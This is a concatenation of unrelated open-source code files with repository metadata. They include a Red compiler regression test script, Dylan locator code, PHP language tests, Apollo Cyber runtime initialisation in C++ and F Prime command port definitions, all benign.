"RFC 2863: The Interfaces Group MIB - ifOutErrors";
}
}
}
}
}
}
} | YANG | 5 | meodaiduoi/onos | tools/test/configs/yang/ietf-interfaces@2014-05-08.yang | [
"Apache-2.0"
] |
include "csharp.grm"
#pragma -width 32726
redefine program
[class_declaration]
| [class_body]
| [class_member_declaration]
| [block]
end define
| TXL | 1 | pseudoPixels/SourceFlow | txl_features/txl_features/cs/CSFragmentGrammar.txl | [
"MIT"
] |
.file-content.code
.nothing-here-block
= _("Empty file")
| Haml | 0 | Testiduk/gitlabhq | app/views/projects/blob/viewers/_empty.html.haml | [
"MIT"
] |
package org.xtendroid.xtendroidtest.models
import java.util.Date
import org.eclipse.xtend.lib.annotations.Accessors
@Accessors class ManyItem {
long id
Date createdAt
String itemName
long itemOrder
} | Xtend | 3 | kusl/Xtendroid | XtendroidTest/src/org/xtendroid/xtendroidtest/models/ManyItem.xtend | [
"MIT"
] |
#include <config.h>
#include <stdio.h>
#include "config_Codec_Ccnb.h"
#include "components.h"
/**
* Generates:
{ "CCNB_CODEC" : { } }
*/
ProtocolStackConfig *
ccnbCodec_ProtocolStackConfig(ProtocolStackConfig *stackConfig)
{
return protocolStackConfig_Add(stackConfig, ccnbCodec_GetName(), parcJSONValue_CreateNULL());//ccnxJson_CreateObject());
}
ConnectionConfig *
ccnbCodec_ConnectionConfig(ConnectionConfig *connectionConfig)
{
return connectionConfig_Add(connectionConfig, ccnbCodec_GetName(), parcJSONValue_CreateNULL());//ccnxJson_CreateObject());
}
const char * ccnbCodec_GetName()
{
return RtaComponentNames[CODEC_CCNB];
}
| XC | 5 | cherouvim/cicn-nrs | ccnxlibs/libccnx-transport-rta/ccnx/transport/transport_rta/config/config_Codec_Ccnb.xc | [
"Apache-2.0"
] |
REBOL [
Title: "Regression tests script for Red Compiler"
Author: "Boleslav Březovský"
File: %regression-test-redc-4.r
Rights: "Copyright (C) 2016 Boleslav Březovský. All rights reserved."
License: "BSD-3 - https://github.com/red/red/blob/origin/BSD-3-License.txt"
]
; cd %../
;--separate-log-file
~~~start-file~~~ "Red Compiler Regression tests part 4"
===start-group=== "Red regressions #1501 - #2000"
; help functions for crash and compiler-problem detection
true?: func [value] [not not value]
crashed?: does [true? find qt/output "*** Runtime Error"]
compiled?: does [true? not find qt/comp-output "Error"]
script-error?: does [true? find qt/output "Script Error"]
compiler-error?: does [true? find qt/comp-output "*** Compiler Internal Error"]
compilation-error?: does [true? find qt/comp-output "*** Compilation Error"]
loading-error: func [value] [found? find qt/comp-output join "*** Loading Error: " value]
compilation-error: func [value] [found? find qt/comp-output join "*** Compilation Error: " value]
syntax-error: func [value] [found? find qt/comp-output join "*** Syntax Error: " value]
script-error: func [value] [found? find qt/comp-output join "*** Script Error: " value]
; -test-: :--test--
; --test--: func [value] [probe value -test- value]
--test-- "#1524"
--compile-and-run-this-red {parse [x][keep 1]}
--assert not crashed?
--test-- "#1589"
--compile-and-run-this-red {power -1 0.5}
--assert not crashed?
--test-- "#1598"
--compile-and-run-this-red {3x4 // 1.1}
--assert not crashed?
--test-- "#1679"
--compile-and-run-this-red {probe switch 1 []}
--assert equal? qt/output "none^/"
--test-- "#1694"
--compile-and-run-this-red {
do [
f: func [x] [x]
probe try [f/only 3]
]
}
--assert true? find qt/output "arg2: 'only"
--test-- "#1698"
--compile-and-run-this-red {
h: make hash! []
loop 10 [insert tail h 1]
}
--assert not crashed?
--test-- "#1700"
--compile-and-run-this-red {change-dir %../}
--assert not crashed?
--test-- "#1702"
--compile-and-run-this-red {
offset?: func [
series1
series2
] [
(index? series2) - (index? series1)
]
cmp: context [
shift-window: func [look-ahead-buffer positions][
set look-ahead-buffer skip get look-ahead-buffer positions
]
match-length: func [a b /local start][
start: a
while [all [a/1 = b/1 not tail? a]][a: next a b: next b]
probe offset? start a
]
find-longest-match: func [
search
data
/local
pos len off length result
] [
pos: data
length: 0
result: head insert insert clear [] 0 0
while [pos: find/case/reverse pos first data] [
if (len: match-length pos data) > length [
if len > 15 [
break
]
length: len
]
]
result
]
lz77: context [
result: copy []
compress: func [
data [any-string!]
/local
look-ahead-buffer search-buffer position length
] [
clear result
look-ahead-buffer: data
search-buffer: data
while [not empty? look-ahead-buffer] [
set [position length] find-longest-match search-buffer look-ahead-buffer
shift-window 'look-ahead-buffer length + 1
]
]
]
]
cmp/lz77/compress "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
--assert not script-error?
--test-- "#1720"
--compile-and-run-this-red {write http://abc.com compose [ {} {} ]}
--assert not crashed?
--assert script-error?
--test-- "#1730"
--compile-and-run-this-red {reduce does ["ok"]}
--assert not crashed?
--compile-and-run-this-red {do [reduce does ["ok"]]}
--assert not crashed?
--test-- "#1758"
--compile-and-run-this-red {do [system/options/path: none]}
--assert not crashed?
--test-- "#1774"
--compile-this-red {system/options/}
--assert syntax-error "Invalid path! value"
--test-- "#1831"
--compile-and-run-this-red {do [function [a] [repeat a/1]]}
--assert not crashed?
--test-- "#1836"
--compile-and-run-this-red {
do [
content: [a [b] c]
rule: [any [
set item word! (print item)
| mark: () into [rule] stop: (prin "STOP: " probe stop)]
]
parse content rule
]
}
--assert not crashed?
--test-- "#1842"
--compile-and-run-this-red {do [throw 10]}
--assert not crashed?
--test-- "#1858"
--compile-and-run-this-red {
probe type? try [
f: func [] [f]
f
]
}
--assert not crashed?
--assert equal? qt/output "error!^/"
--test-- "#1866"
--compile-and-run-this-red {do [parse "abc" [(return 1)]]}
--assert not crashed?
--test-- "#1868"
--compile-this-red {
dot2d: func [a [pair!] b [pair!] return: [float!]][
(to float! a/x * to float! b/x) + (to float! b/y * to float! b/y)
]
norm: func [a [pair!] return: [integer!] /local d2 ][
d2: dot2d a a
res: to integer! (square-root d2)
return res
]
distance: func [a [pair!] b [pair!] return: [integer!] /local res ][
norm (a - b)
]
}
--assert compiled?
--test-- "#1878"
--compile-and-run-this-red {
digit: charset "0123456789"
content: "a&&1b&&2c"
block: copy [] parse content [
collect into block any [
remove keep ["&&" some digit]
(remove/part head block 1 probe head block)
| skip
]
]
}
--assert not crashed?
--test-- "#1894"
--compile-and-run-this-red {parse [1] [collect into test keep [skip]]}
--assert not crashed?
--test-- "#1895"
--compile-and-run-this-red {
fn: func [body [block!]] [collect [do body]]
fn [x: 1]
}
--assert not crashed?
--test-- "#1907"
--compile-and-run-this-red {do [set: 1]}
--assert not crashed?
--test-- "#1935"
--compile-and-run-this-red {do load {test/:}}
--assert not crashed?
--test-- "#1969"
--compile-and-run-this-red {
foo: func [a [float!] b [float!]][a + b]
#system [
#call [foo 2.0 4.0]
fl: as red-float! stack/arguments
probe fl/value
]
}
--assert equal? "6" trim/all qt/output
--test-- "#1974"
--compile-and-run-this-red {
do [
f1: func [p [string!]][print p]
reflect f1 'spec
]
}
--assert not crashed?
===end-group===
~~~end-file~~~
| R | 4 | GalenIvanov/red | tests/source/compiler/regression-test-redc-4.r | [
"BSL-1.0",
"BSD-3-Clause"
] |
role Perl6::Metamodel::BoolificationProtocol {
has $!boolification_mode;
method get_boolification_mode($obj) {
$!boolification_mode
}
method set_boolification_mode($obj, $mode) {
$!boolification_mode := $mode;
}
method publish_boolification_spec($obj) {
if $!boolification_mode == 0 {
my $meth := self.find_method($obj, 'Bool', :no_fallback(1));
if nqp::defined($meth) {
nqp::setboolspec($obj, 0, $meth)
}
else {
# Default to "not a type object" if we've no available method.
nqp::setboolspec($obj, 5, nqp::null())
}
}
else {
nqp::setboolspec($obj, $!boolification_mode, nqp::null())
}
}
}
# vim: expandtab sw=4
| Perl6 | 4 | raydiak/rakudo | src/Perl6/Metamodel/BoolificationProtocol.nqp | [
"Artistic-2.0"
] |
Module: system-internals
Synopsis: Abstract modeling of locations
Author: Andy Armstrong
Copyright: Original Code is Copyright (c) 1995-2004 Functional Objects, Inc.
All rights reserved.
License: See License.txt in this distribution for details.
Warranty: Distributed WITHOUT WARRANTY OF ANY KIND
define open generic locator-server
(locator :: <locator>) => (server :: false-or(<server-locator>));
define open generic locator-host
(locator :: <locator>) => (host :: false-or(<string>));
define open generic locator-volume
(locator :: <locator>) => (volume :: false-or(<string>));
define open generic locator-directory
(locator :: <locator>) => (directory :: false-or(<directory-locator>));
define open generic locator-relative?
(locator :: <locator>) => (relative? :: <boolean>);
// For locator /a/b/c.d this will return #("a", "b").
define open generic locator-path
(locator :: <locator>) => (path :: <sequence>);
// The locator name, e.g. for locator /a/b/c.d
// this will return "c.d"
define open generic locator-name
(locator :: <locator>) => (name :: false-or(<string>));
// The locator name without the extension. e.g., for locator /a/b/c.d
// this will return "c".
define open generic locator-base
(locator :: <locator>) => (base :: false-or(<string>));
define open generic locator-extension
(locator :: <locator>) => (extension :: false-or(<string>));
/// Locator classes
define open abstract class <directory-locator> (<physical-locator>)
sealed constant slot locator-relative? :: <boolean> = #f,
init-keyword: relative?:;
sealed constant slot locator-path :: <simple-object-vector>,
required-init-keyword: path:;
end class;
define open abstract class <file-locator> (<physical-locator>)
end class <file-locator>;
define sealed method as
(class == <directory-locator>, string :: <string>)
=> (locator :: <directory-locator>)
as(<native-directory-locator>, string)
end method as;
define sealed method make
(class == <directory-locator>,
#key server :: false-or(<server-locator>) = #f,
path :: <sequence> = #[],
relative? :: <boolean> = #f,
name :: false-or(<string>) = #f)
=> (locator :: <directory-locator>)
make(<native-directory-locator>,
server: server,
path: path,
relative?: relative?,
name: name)
end method make;
define sealed method as
(class == <file-locator>, string :: <string>)
=> (locator :: <file-locator>)
as(<native-file-locator>, string)
end method as;
define sealed method make
(class == <file-locator>,
#key directory :: false-or(<directory-locator>) = #f,
base :: false-or(<string>) = #f,
extension :: false-or(<string>) = #f,
name :: false-or(<string>) = #f)
=> (locator :: <file-locator>)
make(<native-file-locator>,
directory: directory,
base: base,
extension: extension,
name: name)
end method make;
/// Locator coercion
define open generic locator-as-string
(class :: subclass(<string>), locator :: <locator>)
=> (string :: <string>);
define open generic string-as-locator
(class :: subclass(<locator>), string :: <string>)
=> (locator :: <locator>);
define sealed sideways method as
(class :: subclass(<string>), locator :: <locator>)
=> (string :: <string>)
locator-as-string(class, locator)
end method as;
define sealed sideways method as
(class :: subclass(<locator>), string :: <string>)
=> (locator :: <locator>)
string-as-locator(class, string)
end method as;
/// Locator conditions
define class <locator-error> (<format-string-condition>, <error>)
end class <locator-error>;
define function locator-error
(format-string :: <string>, #rest format-arguments)
error(make(<locator-error>,
format-string: format-string,
format-arguments: format-arguments))
end function locator-error;
/// Useful locator protocols
define open generic locator-test
(locator :: <directory-locator>) => (test ::<function>);
define method locator-test
(locator :: <directory-locator>) => (test :: <function>)
\=
end method locator-test;
define method locator-relative?
(locator :: <file-locator>) => (relative? :: <boolean>)
let directory = locator.locator-directory;
~directory | directory.locator-relative?
end method locator-relative?;
define method current-directory-locator?
(locator :: <directory-locator>) => (current-directory? :: <boolean>)
locator.locator-relative?
& locator.locator-path = #[#"self"]
end method current-directory-locator?;
define method locator-directory
(locator :: <directory-locator>) => (parent :: false-or(<directory-locator>))
let path = locator.locator-path;
unless (empty?(path))
make(object-class(locator),
server: locator.locator-server,
path: copy-sequence(path, end: path.size - 1),
relative?: locator.locator-relative?)
end
end method locator-directory;
define method locator-path
(locator :: <locator>) => (path :: <sequence>)
#()
end method locator-path;
/// Simplify locator
// Simplify (or normalize) locator by collapsing redundant separators and
// parent references so that A//B, A/B/, A/./B and A/foo/../B all become
// A/B. This string manipulation may change the meaning of a path that contains
// symbolic links.
define open generic simplify-locator
(locator :: <physical-locator>)
=> (simplified-locator :: <physical-locator>);
define method simplify-locator
(locator :: <directory-locator>)
=> (simplified-locator :: <directory-locator>)
let path = locator.locator-path;
let relative? = locator.locator-relative?;
let simplified-path = simplify-path(path, relative?: relative?);
if (path = simplified-path)
locator
else
make(object-class(locator),
server: locator.locator-server,
path: simplified-path,
relative?: relative?)
end
end method;
define method simplify-locator
(locator :: <file-locator>)
=> (simplified-locator :: <file-locator>)
let directory = locator.locator-directory;
let simplified-directory = directory & simplify-locator(directory);
if (directory = simplified-directory)
locator
else
make(object-class(locator),
directory: simplified-directory,
base: locator.locator-base,
extension: locator.locator-extension)
end
end method;
// Check the file system to resolve and expand links, and normalize the path.
// Returns an absolute locator, using the current process's working directory
// to resolve relative locators, or signals <file-system-error>. Note that lack
// of an error does not mean that the resolved locator names an existing file,
// but does mean the containing directory exists. In other words, this function
// inherits POSIX `realpath` semantics.
define open generic resolve-locator
(locator :: <physical-locator>)
=> (simplified-locator :: <physical-locator>);
define method resolve-locator
(locator :: <physical-locator>)
=> (simplified-locator :: <physical-locator>)
%resolve-locator(locator)
end method;
/// Subdirectory locator
define open generic subdirectory-locator
(locator :: <directory-locator>, #rest sub-path)
=> (subdirectory :: <directory-locator>);
define method subdirectory-locator
(locator :: <directory-locator>, #rest sub-path)
=> (subdirectory :: <directory-locator>)
let old-path = locator.locator-path;
let new-path = concatenate-as(<simple-object-vector>, old-path, sub-path);
make(object-class(locator),
server: locator.locator-server,
path: new-path,
relative?: locator.locator-relative?)
end method subdirectory-locator;
/// Relative locator
define open generic relative-locator
(locator :: <physical-locator>, from-locator :: <physical-locator>)
=> (relative-locator :: <physical-locator>);
define method relative-locator
(locator :: <directory-locator>, from-locator :: <directory-locator>)
=> (relative-locator :: <directory-locator>)
let path = locator.locator-path;
let from-path = from-locator.locator-path;
case
~locator.locator-relative? & from-locator.locator-relative? =>
locator-error
("Cannot find relative path of absolute locator %= from relative locator %=",
locator, from-locator);
locator.locator-server ~= from-locator.locator-server =>
locator;
path = from-path =>
make(object-class(locator),
path: vector(#"self"),
relative?: #t);
otherwise =>
make(object-class(locator),
path: relative-path(path, from-path, test: locator.locator-test),
relative?: #t);
end
end method relative-locator;
define method relative-locator
(locator :: <file-locator>, from-directory :: <directory-locator>)
=> (relative-locator :: <file-locator>)
let directory = locator.locator-directory;
let relative-directory = directory & relative-locator(directory, from-directory);
if (relative-directory = directory)
locator
else
make(object-class(locator),
directory: relative-directory,
base: locator.locator-base,
extension: locator.locator-extension)
end
end method relative-locator;
define method relative-locator
(locator :: <physical-locator>, from-locator :: <file-locator>)
=> (relative-locator :: <physical-locator>)
let from-directory = from-locator.locator-directory;
case
from-directory =>
relative-locator(locator, from-directory);
~locator.locator-relative? =>
locator-error
("Cannot find relative path of absolute locator %= from relative locator %=",
locator, from-locator);
otherwise =>
locator;
end
end method relative-locator;
/// Merge locators
// Construct a new locator from `locator` by copying missing or incomplete
// parts from `from-locator`. Note that if `locator` is relative the resulting
// directory part is the concatenation of the directories of `from-locator` and
// `locator`, either of which may be empty.
define open generic merge-locators
(locator :: <physical-locator>, from-locator :: <physical-locator>)
=> (merged-locator :: <physical-locator>);
/// Merge locators
define method merge-locators
(locator :: <directory-locator>, from-locator :: <directory-locator>)
=> (merged :: <directory-locator>)
if (locator.locator-relative?)
let path = concatenate(from-locator.locator-path, locator.locator-path);
make(object-class(locator),
server: from-locator.locator-server,
path: path,
relative?: from-locator.locator-relative?)
else
locator
end
end method;
define method merge-locators
(locator :: <file-locator>, from-locator :: <directory-locator>)
=> (merged :: <file-locator>)
let directory = locator.locator-directory;
let merged-directory = if (directory)
merge-locators(directory, from-locator)
else
from-locator
end;
if (merged-directory = directory)
locator
else
make(object-class(locator),
directory: merged-directory,
base: locator.locator-base,
extension: locator.locator-extension)
end
end method;
define method merge-locators
(locator :: <directory-locator>, from-locator :: <file-locator>)
=> (merged-locator :: <file-locator>)
let from-directory = locator-directory(from-locator);
let directory = if (from-directory)
merge-locators(locator, from-directory)
else
locator
end;
make(object-class(from-locator),
directory: directory,
base: locator-base(from-locator),
extension: locator-extension(from-locator))
end method;
define method merge-locators
(locator :: <file-locator>, from-locator :: <file-locator>)
=> (merged-locator :: <file-locator>)
let from-directory = from-locator.locator-directory;
if (from-directory)
merge-locators(locator, from-directory)
else
locator
end
end method;
/// Locator protocols
define sideways method supports-open-locator?
(locator :: <file-locator>) => (openable? :: <boolean>)
~locator.locator-relative?
end method supports-open-locator?;
define sideways method open-locator
(locator :: <file-locator>, #rest keywords, #key, #all-keys)
=> (stream :: <stream>)
apply(open-file-stream, locator, keywords)
end method open-locator;
| Dylan | 5 | kryptine/opendylan | sources/system/locators/locators.dylan | [
"BSD-2-Clause"
] |
import "wia"
class ScanningTest : Window
{
text = "WIA Scanning Test";
background = activeBorder;
borderStyle = fixed;
hasMinimize = true;
hasClose = true;
size = { 360, 500 };
File scannedImage;
Bitmap scannedBitmap;
WiaItem scanner;
~ScanningTest()
{
delete scannedImage;
delete scannedBitmap;
}
void SetImage()
{
Bitmap bmp;
if(scannedImage)
{
char s[20];
sprintf(s, "File://%p", scannedImage);
imagePreview.image = { s };
}
else
imagePreview.image = null;
bmp = imagePreview.image.bitmap;
if(bmp)
{
float ratio = (float)bmp.height / bmp.width;
if(ratio > 424.0f / 320.0f)
{
int w = 424 * bmp.width / bmp.height;
imagePreview.size = { w, 424 };
}
else
{
int h = 320 * bmp.height / bmp.width;
imagePreview.size = { 320, h };
}
}
}
bool OnPostCreate()
{
SetImage();
scanner = GetScanner(true);
return true;
}
void OnDestroy()
{
delete scanner;
}
Picture imagePreview { this, text = "Image Preview", borderStyle = deep, size = { 320, 424 }, anchor = { right = 16, top = 16 } };
Button scan
{
this, text = "Scan", size = { 60, 21 }, anchor = { bottom = 8 };
bool NotifyClicked(Button button, int x, int y, Modifiers mods)
{
List<Bitmap> scanned;
if(!scanner)
scanner = GetScanner(true);
if(scanner && (scanned = scanner.GetBitmaps()))
{
delete scannedBitmap;
delete scannedImage; // Delete the previous image file if any
for(i : scanned)
{
// Here 'i' is a Bitmap that we could just display ourselves, but we use a pseudo file so we can use the
// Picture control which works with a BitmapResource (which needs a file name)
char s[20];
scannedImage = TempFile { };
scannedBitmap = i;
sprintf(s, "File://%p", scannedImage); // 'File://' lets you use a File pointer as a file name
i.Save(s, "bmp", null);
// Take it out of the list because we free the other images (if any), but keep this one in 'scannedBitmap'
scanned.TakeOut(scannedBitmap);
// Just use 1 image
break;
}
scanned.Free();
delete scanned;
SetImage();
}
return true;
}
};
}
ScanningTest mainForm {};
| eC | 4 | N-eil/ecere-sdk | samples/scanning/wiaTest/wiaTest.ec | [
"BSD-3-Clause"
] |
ClearAll(a,c,z,za,zg,x,y,r,t,h,A,Z)
T 0 == 0
T -0 == 0
T 1 == 1
T -1 == -1
T 1 - 1 == 0
T 1 + 1 == 2
Clear(a)
T a == a
T 0 + a == a
T a + 0 == a
T a - 0 == a
T 1 * a == a
T 0 * a == 0
T a * 1 == a
T a * 0 == 0
T a * -0 == 0
T -0 * a == 0
# fixed bug
T a + a * a - a * a == a
# fixed bug for this one
#### Test canonical ordering, sorting
# Test fix for #6
T Apply(List, b + a * b) == [b, a * b]
T Apply(List, a * b + b) == [b, a * b]
T Apply(List, a + b + a * b) == [a, b, a * b]
T Apply(List, a + a * b + b) == [a, b, a * b]
T Apply(List, zb + za + 7 + 2 * x^r + 2 + a + c + x^3 + x^2) == [9,a,c,x^2,x^3,2*x^r,za,zb]
T Apply(List, z^7 + 2 * z^6 + 5*z^3 + 10 *z + 1) == [1,10*z,5*z^3,2*z^6,z^7]
T Apply(List, a * a + 1 / ((z + y) * (z + y)) ) == [a ^ 2,(y + z) ^ -2]
T Apply(List,a + z + 10*a^2 + 2 * z^2) == [a,10*a^2,z,2*z^2]
T (a+b)/(a+b) == 1
T (a + b)^2/(a+b) == a + b
T (a^2)^2 == a^4
T (a^t)^2 == a^(2*t)
T (a^2)^t == a^(2*t)
T Part((a^t)^z,2) == z
T Apply(List,( y + z + 1) * ( y + z)) == [(y + z),1 + y + z] # bug fix
T Args(a^(b+c)*a^d) == [a,b + c + d]
T Args(a^(b+c)*a^d*a) == [a,1 + b + c + d]
T Args(a^(b+c)*a^d*a*a^3) == [a,4 + b + c + d]
# FIXME: this should return true.
# T Apply(List, a + b*a + b) == [a,b,a*b]
# Blank's are less than non-Blanks
T Apply(List, a_ + x) == List(x,a_)
T Apply(List, a_h + x) == List(x,a_h)
T Apply(List, a__ + x) == List(x,a__)
T Apply(List, a__h + x) == List(x,a__h)
T Apply(List, a_ + _x) == List(_x,a_)
T Apply(List, x_ + _x) == List(_x,x_)
T Apply(List, _ + __) == List(_,__)
T Apply(List, a + _x) == List(a,_x)
ClearAll(f,x)
T Apply(List, x + f(x_)) == List(x,f(x_))
T Apply(List, _ + f(x_)) == List(_,f(x_))
T Apply(List, x_ + f(x)) == List(f(x),x_)
T Apply(List, x_ + f(x) + _) == List(_,f(x),x_)
T Apply(List, x_y + f(x) + _ + _y) == List(_,_y,f(x),x_y)
ClearAll(f,x)
# bug present in 422b42d34e4c0c6e0f377c85d1d2e78b9c1bbb19 and earlier
ClearAll(m,a,b,c)
m = a*b + c
-m # must not change the value of m
T m == a*b + c
ClearAll(m,a,b,c)
#### Test do_canon_power!
Clear(a,b,m)
m = (2*a*b)^3
T Head(m) == Times
T Apply(List,m) == List(8,a^3,b^3)
Clear(a,b,m)
m = ExpandA((2*a+2*b)^BI(4))
T Apply(List,m) == [(16*(a^4)),(64*(a^3)*b),(96*(a^2)*(b^2)),(64*a*(b^3)),16*(b^4)]
m = ExpandA((2*a+2*b)^4)
T Apply(List,m) == [(16*(a^4)),(64*(a^3)*b),(96*(a^2)*(b^2)),(64*a*(b^3)),16*(b^4)]
# bug through commit e9c6803de51dab446a1f3e9bcc8d1e8cf19941d3
# Causes infinite evaluation loop, due to ill-defined order.
m = (ExpandA((x+1)^2))^2
m * (m+1)
ClearAll(a,A,Z,z)
T Apply(List,a*Z) == [a,Z]
T Apply(List,A*z) == [A,z]
T Apply(List,A*a) == [a,A]
T Apply(List,(x^2)*(1//2) + x) == [x,(1//2) * (x ^ 2)]
ClearAll(a,b,m,t,x,r,z,za,zb,c,h,y,z,A,Z)
#### Float contagion
T Head(3 * π) == Times
T Head(3.0 * π) == Float64
T Apply(List, a___ + x) == List(x,a___) # BlankNullSequence not implemented
| Objective-J | 4 | UnofficialJuliaMirrorSnapshots/Symata.jl-a906b1d5-d016-55c4-aab3-8a20cba0db2a | symata_test/orderless_test.sj | [
"MIT"
] |
{% extends "three.html" %}
{% block content %}{{ block.super }} two{% endblock %}
| HTML | 3 | jpmallarino/django | tests/template_tests/recursive_templates/fs/two.html | [
"BSD-3-Clause",
"0BSD"
] |
--TEST--
Bug #24436 (isset() and empty() produce errors with non-existent variables in objects)
--FILE--
<?php
class test {
function __construct() {
if (empty($this->test[0][0])) { print "test1";}
if (!isset($this->test[0][0])) { print "test2";}
}
}
$test1 = new test();
?>
--EXPECT--
test1test2
| PHP | 2 | thiagooak/php-src | tests/lang/bug24436.phpt | [
"PHP-3.01"
] |
a ← 0.31938153 ¯0.356563782 1.781477937 ¯1.821255978 1.330274429
a +.× ⍳5
| APL | 1 | melsman/apltail | tests/innerproduct.apl | [
"MIT"
] |
exec("swigtest.start", -1);
try
Spam = new_Spam()
catch
swigtesterror();
end
if Foo_blah(Spam)<>0 then swigtesterror; end
exec("swigtest.quit", -1);
| Scilab | 2 | kyletanyag/LL-Smartcard | cacreader/swig-4.0.2/Examples/test-suite/scilab/abstract_inherit_ok_runme.sci | [
"BSD-3-Clause"
] |
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "cyber/init.h"
#include <libgen.h>
#include <sys/types.h>
#include <unistd.h>
#include <csignal>
#include <cstdio>
#include <ctime>
#include <memory>
#include <string>
#include "cyber/proto/clock.pb.h"
#include "cyber/binary.h"
#include "cyber/common/file.h"
#include "cyber/common/global_data.h"
#include "cyber/data/data_dispatcher.h"
#include "cyber/logger/async_logger.h"
#include "cyber/node/node.h"
#include "cyber/scheduler/scheduler.h"
#include "cyber/service_discovery/topology_manager.h"
#include "cyber/sysmo/sysmo.h"
#include "cyber/task/task.h"
#include "cyber/time/clock.h"
#include "cyber/timer/timing_wheel.h"
#include "cyber/transport/transport.h"
namespace apollo {
namespace cyber {
using apollo::cyber::scheduler::Scheduler;
using apollo::cyber::service_discovery::TopologyManager;
namespace {
const std::string& kClockChannel = "/clock";
const std::string& kClockNode = "clock";
bool g_atexit_registered = false;
std::mutex g_mutex;
std::unique_ptr<Node> clock_node;
logger::AsyncLogger* async_logger = nullptr;
void InitLogger(const char* binary_name) {
const char* slash = strrchr(binary_name, '/');
if (slash) {
::apollo::cyber::binary::SetName(slash + 1);
} else {
::apollo::cyber::binary::SetName(binary_name);
}
// Init glog
google::InitGoogleLogging(binary_name);
google::SetLogDestination(google::ERROR, "");
google::SetLogDestination(google::WARNING, "");
google::SetLogDestination(google::FATAL, "");
// Init async logger
async_logger = new ::apollo::cyber::logger::AsyncLogger(
google::base::GetLogger(FLAGS_minloglevel));
google::base::SetLogger(FLAGS_minloglevel, async_logger);
async_logger->Start();
}
void StopLogger() { delete async_logger; }
} // namespace
void OnShutdown(int sig) {
(void)sig;
if (GetState() != STATE_SHUTDOWN) {
SetState(STATE_SHUTTING_DOWN);
}
}
void ExitHandle() { Clear(); }
bool Init(const char* binary_name) {
std::lock_guard<std::mutex> lg(g_mutex);
if (GetState() != STATE_UNINITIALIZED) {
return false;
}
InitLogger(binary_name);
auto thread = const_cast<std::thread*>(async_logger->LogThread());
scheduler::Instance()->SetInnerThreadAttr("async_log", thread);
SysMo::Instance();
std::signal(SIGINT, OnShutdown);
// Register exit handlers
if (!g_atexit_registered) {
if (std::atexit(ExitHandle) != 0) {
AERROR << "Register exit handle failed";
return false;
}
AINFO << "Register exit handle succ.";
g_atexit_registered = true;
}
SetState(STATE_INITIALIZED);
auto global_data = GlobalData::Instance();
if (global_data->IsMockTimeMode()) {
auto node_name = kClockNode + std::to_string(getpid());
clock_node = std::unique_ptr<Node>(new Node(node_name));
auto cb =
[](const std::shared_ptr<const apollo::cyber::proto::Clock>& msg) {
if (msg->has_clock()) {
Clock::Instance()->SetNow(Time(msg->clock()));
}
};
clock_node->CreateReader<apollo::cyber::proto::Clock>(kClockChannel, cb);
}
return true;
}
void Clear() {
std::lock_guard<std::mutex> lg(g_mutex);
if (GetState() == STATE_SHUTDOWN || GetState() == STATE_UNINITIALIZED) {
return;
}
SysMo::CleanUp();
TaskManager::CleanUp();
TimingWheel::CleanUp();
scheduler::CleanUp();
service_discovery::TopologyManager::CleanUp();
transport::Transport::CleanUp();
StopLogger();
SetState(STATE_SHUTDOWN);
}
} // namespace cyber
} // namespace apollo
| C++ | 4 | jzjonah/apollo | cyber/init.cc | [
"Apache-2.0"
] |
desc_sv=NIS-klient och -server
| SystemVerilog | 0 | GalaxyGFX/webmin | nis/module.info.sv | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
--TEST--
Int enum const expr
--FILE--
<?php
enum Foo: int {
case Bar = 1 << 0;
case Baz = 1 << 1;
case Qux = 1 << 2;
}
var_dump(Foo::Bar->value);
var_dump(Foo::Baz->value);
var_dump(Foo::Qux->value);
?>
--EXPECT--
int(1)
int(2)
int(4)
| PHP | 4 | NathanFreeman/php-src | Zend/tests/enum/backed-int-const-expr.phpt | [
"PHP-3.01"
] |
--TEST--
Supported operations on $GLOBALS
--FILE--
<?php
function test() {
var_dump($GLOBALS['x']);
$GLOBALS['x'] = 1;
var_dump($GLOBALS['x']);
$GLOBALS['x']++;
var_dump($GLOBALS['x']);
$GLOBALS['x'] += 2;
var_dump($GLOBALS['x']);
unset($GLOBALS['y']);
var_dump(isset($GLOBALS['x']));
var_dump(isset($GLOBALS['y']));
$GLOBALS['z'][] = 1;
}
$y = 1;
test();
var_dump($x, $y, $z);
$ref = 1;
$GLOBALS['z'] =& $ref;
$ref++;
var_dump($z);
$x = 1;
$ref2 =& $GLOBALS['x'];
$ref2++;
var_dump($x);
?>
--EXPECTF--
Warning: Undefined global variable $x in %s on line %d
NULL
int(1)
int(2)
int(4)
bool(true)
bool(false)
Warning: Undefined variable $y in %s on line %d
int(4)
NULL
array(1) {
[0]=>
int(1)
}
int(2)
int(2)
| PHP | 3 | NathanFreeman/php-src | Zend/tests/restrict_globals/valid.phpt | [
"PHP-3.01"
] |
import os/Process
main: func {
p: Process
version (windows) {
p = Process new(["cmd", "/c", "ver"])
} else {
p = Process new(["cat", "/etc/hosts"])
}
p execute()
}
| ooc | 3 | shamanas/rock | test/sdk/os/process.ooc | [
"MIT"
] |
# Author: Jason Batchelor
# Company: Emerson
# Description: Check if output contains EXE compiled in the past week.
(now - 604800) < (map(..|.META_PE?.Compiled|select(. != null)) | .[] | strptime("%a %b %d %H:%M:%S %Y UTC") | mktime)
| JSONiq | 3 | akniffe1/fsf | fsf-server/jq/pe_recently_compiled.jq | [
"Apache-2.0"
] |
module Fw {
type CmdArgBuffer
@ Command registration port
port CmdReg(
opCode: FwOpcodeType @< Command Op Code
)
@ Port for sending commands
port Cmd(
opCode: FwOpcodeType @< Command Op Code
cmdSeq: U32 @< Command Sequence
ref args: CmdArgBuffer @< Buffer containing arguments
)
@ Enum representing a command response
enum CmdResponse {
OK = 0 @< Command successfully executed
INVALID_OPCODE = 1 @< Invalid opcode dispatched
VALIDATION_ERROR = 2 @< Command failed validation
FORMAT_ERROR = 3 @< Command failed to deserialize
EXECUTION_ERROR = 4 @< Command had execution error
BUSY = 5 @< Component busy
}
